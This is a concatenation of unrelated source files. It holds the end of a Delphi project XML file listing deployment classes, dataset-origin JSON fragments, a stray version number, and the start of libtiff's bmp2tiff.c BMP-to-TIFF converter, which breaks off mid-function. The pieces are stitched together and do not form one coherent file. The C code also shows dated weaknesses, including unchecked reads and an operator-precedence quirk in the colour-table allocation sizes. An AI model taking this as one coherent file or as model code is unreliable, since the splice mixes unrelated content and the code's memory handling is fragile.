<CfgParent>Base</CfgParent>
</BuildConfiguration>
<BuildConfiguration Include="Base">
<Key>Base</Key>
</BuildConfiguration>
<BuildConfiguration Include="Debug">
<Key>Cfg_1</Key>
<CfgParent>Base</CfgParent>
</BuildConfiguration>
</ItemGroup>
<ProjectExtensions>
<Borland.Personality>Delphi.Personality.12</Borland.Personality>
<Borland.ProjectType>Application</Borland.ProjectType>
<BorlandProject>
<Delphi.Personality>
<Source>
<Source Name="MainSource">app_63_Service.dpr</Source>
</Source>
<Excluded_Packages>
<Excluded_Packages Name="x:\common\pkg\_packages\10\bpl\dclSvComV8D23.bpl">SvCom Components</Excluded_Packages>
<Excluded_Packages Name="$(BDSBIN)\dcloffice2k230.bpl">Microsoft Office 2000 Sample Automation Server Wrapper Components</Excluded_Packages>
<Excluded_Packages Name="$(BDSBIN)\dclofficexp230.bpl">Microsoft Office XP Sample Automation Server Wrapper Components</Excluded_Packages>
</Excluded_Packages>
</Delphi.Personality>
<Deployment Version="2">
<DeployFile LocalName="Win32\Debug\app_63_Service.exe" Configuration="Debug" Class="ProjectOutput">
<Platform Name="Win32">
<RemoteName>app_63_Service.exe</RemoteName>
<Overwrite>true</Overwrite>
</Platform>
</DeployFile>
<DeployClass Name="ProjectiOSDeviceResourceRules">
<Platform Name="iOSDevice64">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="ProjectOSXResource">
<Platform Name="OSX32">
<RemoteDir>Contents\Resources</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="AndroidClassesDexFile">
<Platform Name="Android">
<RemoteDir>classes</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="AdditionalDebugSymbols">
<Platform Name="Win32">
<RemoteDir>Contents\MacOS</RemoteDir>
<Operation>0</Operation>
</Platform>
<Platform Name="iOSSimulator">
<Operation>1</Operation>
</Platform>
<Platform Name="OSX32">
<RemoteDir>Contents\MacOS</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="iPad_Launch768">
<Platform Name="iOSSimulator">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice64">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="Android_LauncherIcon144">
<Platform Name="Android">
<RemoteDir>res\drawable-xxhdpi</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="AndroidLibnativeMipsFile">
<Platform Name="Android">
<RemoteDir>library\lib\mips</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Required="true" Name="ProjectOutput">
<Platform Name="Win32">
<Operation>0</Operation>
</Platform>
<Platform Name="iOSDevice64">
<Operation>1</Operation>
</Platform>
<Platform Name="OSX32">
<RemoteDir>Contents\MacOS</RemoteDir>
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
</Platform>
<Platform Name="Android">
<RemoteDir>library\lib\armeabi-v7a</RemoteDir>
<Operation>1</Operation>
</Platform>
<Platform Name="iOSSimulator">
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="DependencyFramework">
<Platform Name="Win32">
<Operation>0</Operation>
</Platform>
<Platform Name="OSX32">
<RemoteDir>Contents\MacOS</RemoteDir>
<Operation>1</Operation>
<Extensions>.framework</Extensions>
</Platform>
</DeployClass>
<DeployClass Name="iPhone_Launch640">
<Platform Name="iOSSimulator">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice64">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="iPad_Launch1024">
<Platform Name="iOSSimulator">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice64">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="ProjectiOSDeviceDebug">
<Platform Name="iOSDevice64">
<RemoteDir>..\$(PROJECTNAME).app.dSYM\Contents\Resources\DWARF</RemoteDir>
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<RemoteDir>..\$(PROJECTNAME).app.dSYM\Contents\Resources\DWARF</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="AndroidLibnativeX86File">
<Platform Name="Android">
<RemoteDir>library\lib\x86</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="iPhone_Launch320">
<Platform Name="iOSSimulator">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice64">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="ProjectiOSInfoPList">
<Platform Name="iOSSimulator">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice64">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="AndroidLibnativeArmeabiFile">
<Platform Name="Android">
<RemoteDir>library\lib\armeabi</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="DebugSymbols">
<Platform Name="Win32">
<Operation>0</Operation>
</Platform>
<Platform Name="iOSSimulator">
<Operation>1</Operation>
</Platform>
<Platform Name="OSX32">
<RemoteDir>Contents\MacOS</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="iPad_Launch1536">
<Platform Name="iOSSimulator">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice64">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="Android_SplashImage470">
<Platform Name="Android">
<RemoteDir>res\drawable-normal</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="Android_LauncherIcon96">
<Platform Name="Android">
<RemoteDir>res\drawable-xhdpi</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="Android_SplashImage640">
<Platform Name="Android">
<RemoteDir>res\drawable-large</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="iPhone_Launch640x1136">
<Platform Name="iOSSimulator">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice64">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="ProjectiOSEntitlements">
<Platform Name="iOSDevice64">
<RemoteDir>../</RemoteDir>
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<RemoteDir>../</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="Android_LauncherIcon72">
<Platform Name="Android">
<RemoteDir>res\drawable-hdpi</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="AndroidGDBServer">
<Platform Name="Android">
<RemoteDir>library\lib\armeabi-v7a</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="ProjectOSXInfoPList">
<Platform Name="OSX32">
<RemoteDir>Contents</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="ProjectOSXEntitlements">
<Platform Name="OSX32">
<RemoteDir>../</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="iPad_Launch2048">
<Platform Name="iOSSimulator">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice64">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="AndroidSplashStyles">
<Platform Name="Android">
<RemoteDir>res\values</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="Android_SplashImage426">
<Platform Name="Android">
<RemoteDir>res\drawable-small</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="AndroidSplashImageDef">
<Platform Name="Android">
<RemoteDir>res\drawable</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="ProjectiOSResource">
<Platform Name="iOSSimulator">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice64">
<Operation>1</Operation>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="ProjectAndroidManifest">
<Platform Name="Android">
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="Android_DefaultAppIcon">
<Platform Name="Android">
<RemoteDir>res\drawable</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="File">
<Platform Name="Win32">
<Operation>0</Operation>
</Platform>
<Platform Name="iOSDevice64">
<Operation>0</Operation>
</Platform>
<Platform Name="OSX32">
<RemoteDir>Contents\Resources\StartUp\</RemoteDir>
<Operation>0</Operation>
</Platform>
<Platform Name="iOSDevice32">
<Operation>0</Operation>
</Platform>
<Platform Name="Android">
<Operation>0</Operation>
</Platform>
<Platform Name="iOSSimulator">
<Operation>0</Operation>
</Platform>
</DeployClass>
<DeployClass Name="AndroidServiceOutput">
<Platform Name="Android">
<RemoteDir>library\lib\armeabi-v7a</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Required="true" Name="DependencyPackage">
<Platform Name="Win32">
<Operation>0</Operation>
<Extensions>.bpl</Extensions>
</Platform>
<Platform Name="iOSDevice64">
<Operation>1</Operation>
<Extensions>.dylib</Extensions>
</Platform>
<Platform Name="OSX32">
<RemoteDir>Contents\MacOS</RemoteDir>
<Operation>1</Operation>
<Extensions>.dylib</Extensions>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
<Extensions>.dylib</Extensions>
</Platform>
<Platform Name="iOSSimulator">
<Operation>1</Operation>
<Extensions>.dylib</Extensions>
</Platform>
</DeployClass>
<DeployClass Name="Android_LauncherIcon48">
<Platform Name="Android">
<RemoteDir>res\drawable-mdpi</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="Android_SplashImage960">
<Platform Name="Android">
<RemoteDir>res\drawable-xlarge</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="Android_LauncherIcon36">
<Platform Name="Android">
<RemoteDir>res\drawable-ldpi</RemoteDir>
<Operation>1</Operation>
</Platform>
</DeployClass>
<DeployClass Name="DependencyModule">
<Platform Name="Win32">
<Operation>0</Operation>
<Extensions>.dll;.bpl</Extensions>
</Platform>
<Platform Name="iOSDevice64">
<Operation>1</Operation>
<Extensions>.dylib</Extensions>
</Platform>
<Platform Name="OSX32">
<RemoteDir>Contents\MacOS</RemoteDir>
<Operation>1</Operation>
<Extensions>.dylib</Extensions>
</Platform>
<Platform Name="iOSDevice32">
<Operation>1</Operation>
<Extensions>.dylib</Extensions>
</Platform>
<Platform Name="iOSSimulator">
<Operation>1</Operation>
<Extensions>.dylib</Extensions>
</Platform>
</DeployClass>
<ProjectRoot Platform="iOSDevice64" Name="$(PROJECTNAME).app"/>
<ProjectRoot Platform="Win64" Name="$(PROJECTNAME)"/>
<ProjectRoot Platform="iOSDevice32" Name="$(PROJECTNAME).app"/>
<ProjectRoot Platform="Win32" Name="$(PROJECTNAME)"/>
<ProjectRoot Platform="OSX32" Name="$(PROJECTNAME).app"/>
<ProjectRoot Platform="Android" Name="$(PROJECTNAME)"/>
<ProjectRoot Platform="iOSSimulator" Name="$(PROJECTNAME).app"/>
</Deployment>
<Platforms>
<Platform value="Win32">True</Platform>
<Platform value="Win64">False</Platform>
</Platforms>
</BorlandProject>
<ProjectFileVersion>12</ProjectFileVersion>
</ProjectExtensions>
<Import Project="$(BDS)\Bin\CodeGear.Delphi.Targets" Condition="Exists('$(BDS)\Bin\CodeGear.Delphi.Targets')"/>
<Import Project="$(APPDATA)\Embarcadero\$(BDSAPPDATABASEDIR)\$(PRODUCTVERSION)\UserTools.proj" Condition="Exists('$(APPDATA)\Embarcadero\$(BDSAPPDATABASEDIR)\$(PRODUCTVERSION)\UserTools.proj')"/>
<Import Project="$(MSBuildProjectName).deployproj" Condition="Exists('$(MSBuildProjectName).deployproj')"/>
</Project>
| {
"pile_set_name": "Github"
} |
1.6
| {
"pile_set_name": "Github"
} |
/* $Id: bmp2tiff.c,v 1.23 2010-03-10 18:56:49 bfriesen Exp $
*
* Project: libtiff tools
* Purpose: Convert Windows BMP files in TIFF.
* Author: Andrey Kiselev, [email protected]
*
******************************************************************************
* Copyright (c) 2004, Andrey Kiselev <[email protected]>
*
* Permission to use, copy, modify, distribute, and sell this software and
* its documentation for any purpose is hereby granted without fee, provided
* that (i) the above copyright notices and this permission notice appear in
* all copies of the software and related documentation, and (ii) the names of
* Sam Leffler and Silicon Graphics may not be used in any advertising or
* publicity relating to the software without the specific, prior written
* permission of Sam Leffler and Silicon Graphics.
*
* THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND,
* EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY
* WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
*
* IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
* ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
* OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
* WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF
* LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE
* OF THIS SOFTWARE.
*/
#include "tif_config.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#ifdef HAVE_UNISTD_H
# include <unistd.h>
#endif
#if HAVE_FCNTL_H
# include <fcntl.h>
#endif
#if HAVE_SYS_TYPES_H
# include <sys/types.h>
#endif
#if HAVE_IO_H
# include <io.h>
#endif
#ifdef NEED_LIBPORT
# include "libport.h"
#endif
#include "tiffio.h"
#ifndef O_BINARY
# define O_BINARY 0
#endif
enum BMPType
{
BMPT_WIN4, /* BMP used in Windows 3.0/NT 3.51/95 */
BMPT_WIN5, /* BMP used in Windows NT 4.0/98/Me/2000/XP */
BMPT_OS21, /* BMP used in OS/2 PM 1.x */
BMPT_OS22 /* BMP used in OS/2 PM 2.x */
};
/*
* Bitmap file consists of a BMPFileHeader structure followed by a
* BMPInfoHeader structure. An array of BMPColorEntry structures (also called
* a colour table) follows the bitmap information header structure. The colour
* table is followed by a second array of indexes into the colour table (the
* actual bitmap data). Data may be comressed, for 4-bpp and 8-bpp used RLE
* compression.
*
* +---------------------+
* | BMPFileHeader |
* +---------------------+
* | BMPInfoHeader |
* +---------------------+
* | BMPColorEntry array |
* +---------------------+
* | Colour-index array |
* +---------------------+
*
* All numbers stored in Intel order with least significant byte first.
*/
enum BMPComprMethod
{
BMPC_RGB = 0L, /* Uncompressed */
BMPC_RLE8 = 1L, /* RLE for 8 bpp images */
BMPC_RLE4 = 2L, /* RLE for 4 bpp images */
BMPC_BITFIELDS = 3L, /* Bitmap is not compressed and the colour table
* consists of three DWORD color masks that specify
* the red, green, and blue components of each
* pixel. This is valid when used with
* 16- and 32-bpp bitmaps. */
BMPC_JPEG = 4L, /* Indicates that the image is a JPEG image. */
BMPC_PNG = 5L /* Indicates that the image is a PNG image. */
};
enum BMPLCSType /* Type of logical color space. */
{
BMPLT_CALIBRATED_RGB = 0, /* This value indicates that endpoints and
* gamma values are given in the appropriate
* fields. */
BMPLT_DEVICE_RGB = 1,
BMPLT_DEVICE_CMYK = 2
};
typedef struct
{
int32 iCIEX;
int32 iCIEY;
int32 iCIEZ;
} BMPCIEXYZ;
typedef struct /* This structure contains the x, y, and z */
{ /* coordinates of the three colors that */
/* correspond */
BMPCIEXYZ iCIERed; /* to the red, green, and blue endpoints for */
BMPCIEXYZ iCIEGreen; /* a specified logical color space. */
BMPCIEXYZ iCIEBlue;
} BMPCIEXYZTriple;
typedef struct
{
char bType[2]; /* Signature "BM" */
uint32 iSize; /* Size in bytes of the bitmap file. Should
* always be ignored while reading because
* of error in Windows 3.0 SDK's description
* of this field */
uint16 iReserved1; /* Reserved, set as 0 */
uint16 iReserved2; /* Reserved, set as 0 */
uint32 iOffBits; /* Offset of the image from file start in bytes */
} BMPFileHeader;
/* File header size in bytes: */
const int BFH_SIZE = 14;
typedef struct
{
uint32 iSize; /* Size of BMPInfoHeader structure in bytes.
* Should be used to determine start of the
* colour table */
int32 iWidth; /* Image width */
int32 iHeight; /* Image height. If positive, image has bottom
* left origin, if negative --- top left. */
int16 iPlanes; /* Number of image planes (must be set to 1) */
int16 iBitCount; /* Number of bits per pixel (1, 4, 8, 16, 24
* or 32). If 0 then the number of bits per
* pixel is specified or is implied by the
* JPEG or PNG format. */
uint32 iCompression; /* Compression method */
uint32 iSizeImage; /* Size of uncomressed image in bytes. May
* be 0 for BMPC_RGB bitmaps. If iCompression
* is BI_JPEG or BI_PNG, iSizeImage indicates
* the size of the JPEG or PNG image buffer. */
int32 iXPelsPerMeter; /* X resolution, pixels per meter (0 if not used) */
int32 iYPelsPerMeter; /* Y resolution, pixels per meter (0 if not used) */
uint32 iClrUsed; /* Size of colour table. If 0, iBitCount should
* be used to calculate this value
* (1<<iBitCount). This value should be
* unsigned for proper shifting. */
int32 iClrImportant; /* Number of important colours. If 0, all
* colours are required */
/*
* Fields above should be used for bitmaps, compatible with Windows NT 3.51
* and earlier. Windows 98/Me, Windows 2000/XP introduces additional fields:
*/
int32 iRedMask; /* Colour mask that specifies the red component
* of each pixel, valid only if iCompression
* is set to BI_BITFIELDS. */
int32 iGreenMask; /* The same for green component */
int32 iBlueMask; /* The same for blue component */
int32 iAlphaMask; /* Colour mask that specifies the alpha
* component of each pixel. */
uint32 iCSType; /* Colour space of the DIB. */
BMPCIEXYZTriple sEndpoints; /* This member is ignored unless the iCSType
* member specifies BMPLT_CALIBRATED_RGB. */
int32 iGammaRed; /* Toned response curve for red. This member
* is ignored unless color values are
* calibrated RGB values and iCSType is set to
* BMPLT_CALIBRATED_RGB. Specified
* in 16^16 format. */
int32 iGammaGreen; /* Toned response curve for green. */
int32 iGammaBlue; /* Toned response curve for blue. */
} BMPInfoHeader;
/*
* Info header size in bytes:
*/
const unsigned int BIH_WIN4SIZE = 40; /* for BMPT_WIN4 */
const unsigned int BIH_WIN5SIZE = 57; /* for BMPT_WIN5 */
const unsigned int BIH_OS21SIZE = 12; /* for BMPT_OS21 */
const unsigned int BIH_OS22SIZE = 64; /* for BMPT_OS22 */
/*
* We will use plain byte array instead of this structure, but declaration
* provided for reference
*/
typedef struct
{
char bBlue;
char bGreen;
char bRed;
char bReserved; /* Must be 0 */
} BMPColorEntry;
static uint16 compression = (uint16) -1;
static int jpegcolormode = JPEGCOLORMODE_RGB;
static int quality = 75; /* JPEG quality */
static uint16 predictor = 0;
static void usage(void);
static int processCompressOptions(char*);
static void rearrangePixels(char *, uint32, uint32);
int
main(int argc, char* argv[])
{
uint32 width, length;
uint16 nbands = 1; /* number of bands in input image */
uint16 depth = 8; /* bits per pixel in input image */
uint32 rowsperstrip = (uint32) -1;
uint16 photometric = PHOTOMETRIC_MINISBLACK;
int fd = 0;
struct stat instat;
char *outfilename = NULL, *infilename = NULL;
TIFF *out = NULL;
BMPFileHeader file_hdr;
BMPInfoHeader info_hdr;
int bmp_type;
uint32 clr_tbl_size, n_clr_elems = 3;
unsigned char *clr_tbl;
unsigned short *red_tbl = NULL, *green_tbl = NULL, *blue_tbl = NULL;
uint32 row, clr;
int c;
extern int optind;
extern char* optarg;
while ((c = getopt(argc, argv, "c:r:o:h")) != -1) {
switch (c) {
case 'c': /* compression scheme */
if (!processCompressOptions(optarg))
usage();
break;
case 'r': /* rows/strip */
rowsperstrip = atoi(optarg);
break;
case 'o':
outfilename = optarg;
break;
case 'h':
usage();
default:
break;
}
}
if (argc - optind < 2)
usage();
if (outfilename == NULL)
outfilename = argv[argc-1];
out = TIFFOpen(outfilename, "w");
if (out == NULL) {
TIFFError(infilename, "Cannot open file %s for output",
outfilename);
goto bad3;
}
while (optind < argc-1) {
infilename = argv[optind];
optind++;
fd = open(infilename, O_RDONLY|O_BINARY, 0);
if (fd < 0) {
TIFFError(infilename, "Cannot open input file");
return -1;
}
read(fd, file_hdr.bType, 2);
if(file_hdr.bType[0] != 'B' || file_hdr.bType[1] != 'M') {
TIFFError(infilename, "File is not BMP");
goto bad;
}
/* -------------------------------------------------------------------- */
/* Read the BMPFileHeader. We need iOffBits value only */
/* -------------------------------------------------------------------- */
lseek(fd, 10, SEEK_SET);
read(fd, &file_hdr.iOffBits, 4);
#ifdef WORDS_BIGENDIAN
TIFFSwabLong(&file_hdr.iOffBits);
#endif
fstat(fd, &instat);
file_hdr.iSize = instat.st_size;
/* -------------------------------------------------------------------- */
/* Read the BMPInfoHeader. */
/* -------------------------------------------------------------------- */
lseek(fd, BFH_SIZE, SEEK_SET);
read(fd, &info_hdr.iSize, 4);
#ifdef WORDS_BIGENDIAN
TIFFSwabLong(&info_hdr.iSize);
#endif
if (info_hdr.iSize == BIH_WIN4SIZE)
bmp_type = BMPT_WIN4;
else if (info_hdr.iSize == BIH_OS21SIZE)
bmp_type = BMPT_OS21;
else if (info_hdr.iSize == BIH_OS22SIZE
|| info_hdr.iSize == 16)
bmp_type = BMPT_OS22;
else
bmp_type = BMPT_WIN5;
if (bmp_type == BMPT_WIN4
|| bmp_type == BMPT_WIN5
|| bmp_type == BMPT_OS22) {
read(fd, &info_hdr.iWidth, 4);
read(fd, &info_hdr.iHeight, 4);
read(fd, &info_hdr.iPlanes, 2);
read(fd, &info_hdr.iBitCount, 2);
read(fd, &info_hdr.iCompression, 4);
read(fd, &info_hdr.iSizeImage, 4);
read(fd, &info_hdr.iXPelsPerMeter, 4);
read(fd, &info_hdr.iYPelsPerMeter, 4);
read(fd, &info_hdr.iClrUsed, 4);
read(fd, &info_hdr.iClrImportant, 4);
#ifdef WORDS_BIGENDIAN
TIFFSwabLong((uint32*) &info_hdr.iWidth);
TIFFSwabLong((uint32*) &info_hdr.iHeight);
TIFFSwabShort((uint16*) &info_hdr.iPlanes);
TIFFSwabShort((uint16*) &info_hdr.iBitCount);
TIFFSwabLong((uint32*) &info_hdr.iCompression);
TIFFSwabLong((uint32*) &info_hdr.iSizeImage);
TIFFSwabLong((uint32*) &info_hdr.iXPelsPerMeter);
TIFFSwabLong((uint32*) &info_hdr.iYPelsPerMeter);
TIFFSwabLong((uint32*) &info_hdr.iClrUsed);
TIFFSwabLong((uint32*) &info_hdr.iClrImportant);
#endif
n_clr_elems = 4;
}
if (bmp_type == BMPT_OS22) {
/*
* FIXME: different info in different documents
* regarding this!
*/
n_clr_elems = 3;
}
if (bmp_type == BMPT_OS21) {
int16 iShort;
read(fd, &iShort, 2);
#ifdef WORDS_BIGENDIAN
TIFFSwabShort((uint16*) &iShort);
#endif
info_hdr.iWidth = iShort;
read(fd, &iShort, 2);
#ifdef WORDS_BIGENDIAN
TIFFSwabShort((uint16*) &iShort);
#endif
info_hdr.iHeight = iShort;
read(fd, &iShort, 2);
#ifdef WORDS_BIGENDIAN
TIFFSwabShort((uint16*) &iShort);
#endif
info_hdr.iPlanes = iShort;
read(fd, &iShort, 2);
#ifdef WORDS_BIGENDIAN
TIFFSwabShort((uint16*) &iShort);
#endif
info_hdr.iBitCount = iShort;
info_hdr.iCompression = BMPC_RGB;
n_clr_elems = 3;
}
if (info_hdr.iBitCount != 1 && info_hdr.iBitCount != 4 &&
info_hdr.iBitCount != 8 && info_hdr.iBitCount != 16 &&
info_hdr.iBitCount != 24 && info_hdr.iBitCount != 32) {
TIFFError(infilename,
"Cannot process BMP file with bit count %d",
info_hdr.iBitCount);
close(fd);
return 0;
}
width = info_hdr.iWidth;
length = (info_hdr.iHeight > 0) ? info_hdr.iHeight : -info_hdr.iHeight;
switch (info_hdr.iBitCount)
{
case 1:
case 4:
case 8:
nbands = 1;
depth = info_hdr.iBitCount;
photometric = PHOTOMETRIC_PALETTE;
/* Allocate memory for colour table and read it. */
if (info_hdr.iClrUsed)
clr_tbl_size =
((uint32)(1<<depth)<info_hdr.iClrUsed)
? (uint32) (1 << depth)
: info_hdr.iClrUsed;
else
clr_tbl_size = 1 << depth;
clr_tbl = (unsigned char *)
_TIFFmalloc(n_clr_elems * clr_tbl_size);
if (!clr_tbl) {
TIFFError(infilename,
"Can't allocate space for color table");
goto bad;
}
lseek(fd, BFH_SIZE + info_hdr.iSize, SEEK_SET);
read(fd, clr_tbl, n_clr_elems * clr_tbl_size);
red_tbl = (unsigned short*)
_TIFFmalloc(((tmsize_t)1)<<depth * sizeof(unsigned short));
if (!red_tbl) {
TIFFError(infilename,
"Can't allocate space for red component table");
_TIFFfree(clr_tbl);
goto bad1;
}
green_tbl = (unsigned short*)
_TIFFmalloc(((tmsize_t)1)<<depth * sizeof(unsigned short));
if (!green_tbl) {
TIFFError(infilename,
"Can't allocate space for green component table");
_TIFFfree(clr_tbl);
goto bad2;
}
blue_tbl = (unsigned short*)
_TIFFmalloc(((tmsize_t)1)<<depth * sizeof(unsigned short));
if (!blue_tbl) {
TIFFError(infilename,
"Can't allocate space for blue component table");
_TIFFfree(clr_tbl);
goto bad3;
}
for(clr = 0; clr < clr_tbl_size; clr++) {
red_tbl[clr] = 257*clr_tbl[clr*n_clr_elems+2];
green_tbl[clr] = 257*clr_tbl[clr*n_clr_elems+1];
blue_tbl[clr] = 257*clr_tbl[clr*n_clr_elems];
}
_TIFFfree(clr_tbl);
break;
case 16:
case 24:
nbands = 3;
depth = info_hdr.iBitCount / nbands;
photometric = PHOTOMETRIC_RGB;
break;
case 32:
nbands = 3;
depth = 8;
photometric = PHOTOMETRIC_RGB;
break;
default:
break;
}
/* -------------------------------------------------------------------- */
/* Create output file. */
/* -------------------------------------------------------------------- */
TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width);
TIFFSetField(out, TIFFTAG_IMAGELENGTH, length);
TIFFSetField(out, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, nbands);
TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, depth);
TIFFSetField(out, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
TIFFSetField(out, TIFFTAG_PHOTOMETRIC, photometric);
TIFFSetField(out, TIFFTAG_ROWSPERSTRIP,
TIFFDefaultStripSize(out, rowsperstrip));
if (red_tbl && green_tbl && blue_tbl) {
TIFFSetField(out, TIFFTAG_COLORMAP,
red_tbl, green_tbl, blue_tbl);
}
if (compression == (uint16) -1)
compression = COMPRESSION_PACKBITS;
TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
switch (compression) {
case COMPRESSION_JPEG:
if (photometric == PHOTOMETRIC_RGB
&& jpegcolormode == JPEGCOLORMODE_RGB)
photometric = PHOTOMETRIC_YCBCR;
TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality);
TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, jpegcolormode);
break;
case COMPRESSION_LZW:
case COMPRESSION_DEFLATE:
if (predictor != 0)
TIFFSetField(out, TIFFTAG_PREDICTOR, predictor);
break;
}
/* -------------------------------------------------------------------- */
/* Read uncompressed image data. */
/* -------------------------------------------------------------------- */
if (info_hdr.iCompression == BMPC_RGB) {
uint32 offset, size;
char *scanbuf;
/* XXX: Avoid integer overflow. We can calculate size
* in one step using
*
* size = ((width * info_hdr.iBitCount + 31) & ~31) / 8
*
* formulae, but we should check for overflow
* conditions during calculation.
*/
size = width * info_hdr.iBitCount + 31;
if (!width || !info_hdr.iBitCount
|| (size - 31) / info_hdr.iBitCount != width ) {
TIFFError(infilename,
"Wrong image parameters; can't "
"allocate space for scanline buffer");
goto bad3;
}
size = (size & ~31) / 8;
scanbuf = (char *) _TIFFmalloc(size);
if (!scanbuf) {
TIFFError(infilename,
"Can't allocate space for scanline buffer");
goto bad3;
}
for (row = 0; row < length; row++) {
if (info_hdr.iHeight > 0)
offset = file_hdr.iOffBits+(length-row-1)*size;
else
offset = file_hdr.iOffBits + row * size;
if (lseek(fd, offset, SEEK_SET) == (off_t)-1) {
TIFFError(infilename,
"scanline %lu: Seek error",
(unsigned long) row);
break;
}
if (read(fd, scanbuf, size) < 0) {
TIFFError(infilename,
"scanline %lu: Read error",
(unsigned long) row);
break;
}
rearrangePixels(scanbuf, width, info_hdr.iBitCount);
if (TIFFWriteScanline(out, scanbuf, row, 0)<0) {
TIFFError(infilename,
"scanline %lu: Write error",
(unsigned long) row);
break;
}
}
_TIFFfree(scanbuf);
/* -------------------------------------------------------------------- */
/* Read compressed image data. */
/* -------------------------------------------------------------------- */
} else if ( info_hdr.iCompression == BMPC_RLE8
|| info_hdr.iCompression == BMPC_RLE4 ) {
uint32 i, j, k, runlength;
uint32 compr_size, uncompr_size;
unsigned char *comprbuf;
unsigned char *uncomprbuf;
compr_size = file_hdr.iSize - file_hdr.iOffBits;
uncompr_size = width * length;
comprbuf = (unsigned char *) _TIFFmalloc( compr_size );
if (!comprbuf) {
TIFFError(infilename,
"Can't allocate space for compressed scanline buffer");
goto bad3;
}
uncomprbuf = (unsigned char *)_TIFFmalloc(uncompr_size);
if (!uncomprbuf) {
TIFFError(infilename,
"Can't allocate space for uncompressed scanline buffer");
goto bad3;
}
